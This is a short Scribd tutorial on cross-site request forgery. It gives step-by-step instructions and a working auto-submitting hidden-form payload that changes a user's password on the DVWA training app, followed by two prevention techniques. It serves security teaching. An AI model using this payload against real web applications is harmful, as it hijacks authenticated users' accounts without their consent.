Scribd
Upload
8 views1 page

CSRF

Uploaded by

Navneet Chaudhary
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
8 views1 page

CSRF

Uploaded by

Navneet Chaudhary
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

Cross Site Request Forgery(CSRF):

============================
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute
unwanted actions on a web application in which they’re currently authenticated.

-With a little help of social engineering (such as sending a link via email or
chat), an attacker may trick the users of a web application into executing actions
of the attacker’s choosing.

-Exploitation: A successful CSRF attack can force the user to perform state
changing requests like transferring funds, changing their email address, password,
etc.

Steps:
======

1. To perform the attack we need to first copy the page html code for the input
fields. It is usually in the <form> field.

2. In the form, give the complete url of the page for the action parameter where
the modifications are to be done.

3. Modify all the input fields to type="hidden"

4. Remove all the break tags and the headings. <br>

5. Give your own value for the field you want to change. Ex : value="xyz"

6. Make the page run automatically by giving the form an id.

7. Execute it with a javascript code.


<script>document.getElementById('1').submit();</script>

Ex page for DVWA:

<form id=1 action="http://192.168.1.7/dvwa/vulnerabilities/csrf/" method="GET">


<input type="hidden" autocomplete="off" name="password_new" value="xyz">
<input type="hidden" autocomplete="off" name="password_conf" value="xyz">
<input type="hidden" value="Change" name="Change">
</form>
<script>document.getElementById('1').submit();</script>

Prevention Techniques:
1. Authenticating the user by asking the old password as well before making any
changes.
2. If the attacker knows the old password as well, in that scenario the developer
needs to implement CSRF tokens.

You might also like